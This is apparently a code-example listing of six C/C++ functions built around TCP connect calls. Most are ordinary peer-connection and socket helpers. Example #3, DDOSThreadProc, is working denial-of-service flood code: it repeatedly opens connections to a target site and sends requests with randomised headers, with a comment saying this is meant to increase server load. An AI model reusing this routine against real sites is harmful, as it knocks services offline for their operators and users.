Example #1
0
int try_reconnect() {

    extern dexpd_config conf0;
    int i = 0;
    int socknum;

    for (i=0; i<conf0.nb_peers; i++) {

        if (conf0.peers[i].socknum == -1) {

            printf("trying to reconnect to peer %s...\n", conf0.peers[i].host );

            if ( (socknum = pconnect(conf0.peers[i].host,conf0.peers[i].port)) < 0 ) {

                fprintf(stderr,"Notice: cannot connect to peer %s\n", conf0.peers[i].host );

            }

            else {
                printf("link established with peer %s !\n" , conf0.peers[i].host);
                conf0.peers[i].socknum = socknum;
                pthread_create(&conf0.peers[i].ioth,NULL,dexp_cli_ioth,(void*)&conf0.peers[i]);
            }

        }

    }

    return 0;

}
Example #2
0
SOCKET MyConnect1( char *Host, int Port )
{
	LPHOSTENT lpHost = (LPHOSTENT)pgethostbyname( (const char*)Host );

	if ( lpHost == NULL )
	{
		return -1;
	}

	SOCKET Socket = (SOCKET)psocket( AF_INET, SOCK_STREAM, 0 );

	if( Socket == -1 )
	{
		return -1;
	}

	struct sockaddr_in SockAddr;

	SockAddr.sin_family		 = AF_INET;
	SockAddr.sin_addr.s_addr = **(unsigned long**)lpHost->h_addr_list;
	SockAddr.sin_port		 = HTONS( (unsigned short)Port );

	if ( (int)pconnect( Socket, (const struct sockaddr*)&SockAddr, sizeof( SockAddr ) ) == SOCKET_ERROR )
	{
		pclosesocket(Socket);
		return -1;
	}

	return Socket;
}
Example #3
0
// Функция выполнения многократного подключения к испытуемому сайту
DWORD WINAPI DDOSThreadProc(TDDOS *DDOS)
{
	
	TMemory Buf(1024);
	TMemory Referer(256);

	DWORD SleepInterval = (DDOS->AttemptsPerSecond) ? (1000 / DDOS->AttemptsPerSecond) : 100;

	while (!DDOS->FTerminated)
	{
		// Создаём сокет
		SOCKET Socket = (SOCKET)psocket(AF_INET, SOCK_STREAM, 0);

		if(Socket != SOCKET_ERROR)
		{
			// Подключаемся к серверу
			struct sockaddr_in SockAddr;
			SockAddr.sin_family		 = AF_INET;
			SockAddr.sin_addr.s_addr = **(unsigned long**)DDOS->FHostAddres->h_addr_list;
			SockAddr.sin_port		 = HTONS((unsigned short)DDOS->FRequest.Port);

			// подключаемся к сокету
			if ( (int)pconnect(Socket, (const struct sockaddr*)&SockAddr, sizeof( SockAddr ) ) != SOCKET_ERROR )
			{
				// Генерируем данные
				PCHAR UserAgent = DDOS->GetRandomString(UserAgents, DDOS->FUserAgentsCount);
				string RefererHost = Random::RandomString2(Random::Generate(5, 10), 'a', 'z');

				DDOS->MakeString(Referer.AsStr(), "http://%s.%s/", RefererHost.t_str(), DDOS->GetRandomString(Domains, DDOS->FDomainsCount)); 
				
				int Size = DDOS->MakeString(Buf.AsStr(), DDOS->FSendData.t_str(), UserAgent, Referer.AsStr());

				int Sended = (int)psend(Socket, Buf.AsStr(), Size, 0);

				// Для увеличения нагрузки на сервер пытаемся получить от сервера ответ
				if (Sended == Size)
				{
					Size = (int)precv(Socket, Buf.Buf(), 1024, 0);
				}


			}
			pclosesocket(Socket);
		}

		// Ждём до следующей отправки
		if (!DDOS->FTerminated)
			pSleep(SleepInterval);
    }

	pInterlockedDecrement(&DDOS->FThreadsCount);

	return 0;
}
Example #4
0
int connectAll() {

    extern dexpd_config conf0;
    int i = 0;
    int socknum;

    if (conf0.peers == NULL) printf("Notice: No peers in configuration\n");

    for (i=0; i<conf0.nb_peers; i++) {

        conf0.peers[i].socknum = -1;
        conf0.peers[i].ssl = NULL;

        if (conf0.use_ipv6) {

            if ( (socknum = pconnect6(conf0.peers[i].host,conf0.peers[i].port)) < 0 ) {


            }


            else {

                printf("link established with peer %s !\n" , conf0.peers[i].host);
                conf0.peers[i].socknum = socknum;
                pthread_create(&conf0.peers[i].ioth,NULL,dexp_cli_ioth,(void*)&conf0.peers[i]);
            }


        }


        if ( conf0.peers[i].socknum == -1 && (socknum = pconnect(conf0.peers[i].host,conf0.peers[i].port)) < 0 ) {

            fprintf(stderr,"Notice: cannot connect to peer %s\n", conf0.peers[i].host );

        }


        else if (conf0.peers[i].socknum == -1) {

            printf("link established with peer %s !\n" , conf0.peers[i].host);
            conf0.peers[i].socknum = socknum;
            pthread_create(&conf0.peers[i].ioth,NULL,dexp_cli_ioth,(void*)&conf0.peers[i]);
        }

    }

    return 0;


}
Example #5
0
SOCKET NetConnect( char *Host, int Port )
{
	int ip = (int)pinet_addr( (const char*)Host );

	if ( ip == (int)INADDR_NONE )
	{
		LPHOSTENT rhost = (LPHOSTENT)pgethostbyname( (const char*)Host );

		if ( !rhost )
		{
			return -1;
		}

		ip = *(long*)( rhost )->h_addr_list[0];

		if ( !ip )
		{
			return -1;
		}
	}

	SOCKET Socket = (SOCKET)psocket( AF_INET, SOCK_STREAM, IPPROTO_TCP );

	if ( Socket == INVALID_SOCKET ) 
	{
		return -1;
	}

	LINGER l;

	l.l_linger = 3;
	l.l_onoff  = 1;

	psetsockopt( Socket, SOL_SOCKET, SO_LINGER, (char*)&l, sizeof( l ) );

	struct sockaddr_in SockAddr;

	m_memset( &SockAddr, 0, sizeof( SockAddr ) );

	SockAddr.sin_family			  = AF_INET;
	SockAddr.sin_port			  = HTONS( Port );
	SockAddr.sin_addr.S_un.S_addr = ip;

	if ( (int)pconnect( Socket, (sockaddr*)&SockAddr, sizeof( SockAddr ) ) == SOCKET_ERROR )
	{
		pclosesocket( Socket );
		return -1;
	}

	return Socket;
}
Example #6
0
DWORD ConnectThread(LPVOID lpParameter)
{
	ConnectionData* connData = (ConnectionData*)lpParameter;
	
	if ( (int)pconnect( connData->Socket, (const struct sockaddr*)&connData->SockAddr, sizeof( connData->SockAddr ) ) == SOCKET_ERROR )
	{
		DWORD err = (DWORD)pGetLastError();
		pclosesocket(connData->Socket);
		pExitThread(-1);
	}


	pExitThread(0);
	return 0;
}